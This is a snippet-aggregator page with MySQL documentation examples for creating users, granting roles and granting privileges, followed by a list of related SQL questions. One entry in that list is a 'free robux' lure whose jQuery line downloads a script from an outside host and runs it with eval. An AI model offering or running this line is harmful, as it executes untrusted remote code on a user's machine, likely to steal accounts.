How to find all role in mysql

Copied CREATE USER 'dev1'@'localhost' IDENTIFIED BY 'dev1pass';
CREATE USER 'read_user1'@'localhost' IDENTIFIED BY 'read_user1pass';
CREATE USER 'read_user2'@'localhost' IDENTIFIED BY 'read_user2pass';
CREATE USER 'rw_user1'@'localhost' IDENTIFIED BY 'rw_user1pass';

Source: dev.mysql.com

How to find all role in mysql

Press CTRL+C to copy GRANT 'app_developer' TO 'dev1'@'localhost';
GRANT 'app_read' TO 'read_user1'@'localhost', 'read_user2'@'localhost';
GRANT 'app_read', 'app_write' TO 'rw_user1'@'localhost';

Source: dev.mysql.com

How to find all role in mysql

Press CTRL+C to copy GRANT ALL ON app_db.* TO 'app_developer';
GRANT SELECT ON app_db.* TO 'app_read';
GRANT INSERT, UPDATE, DELETE ON app_db.* TO 'app_write';

Source: dev.mysql.com

Similar codes

0 vote201 views2 answers
Impala rename column name
SQL
0 vote176 views1 answer
How to insert a uniqueidentifier in sql
SQL
1 vote180 views1 answer
Postgres convert exisiting column to text
SQL
4 votes191 views4 answers
Check constraint in ms sql
SQL
0 vote236 views1 answer
Show all mongodb
SQL
1 vote184 views1 answer
Postgresql delete cascade
SQL
1 vote224 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
0 vote175 views1 answer
Sql make sure every user is unqiuew
SQL
1 vote183 views1 answer
How to see logical reads in sql server
SQL
0 vote173 views1 answer
Update set with inner join oracle
SQL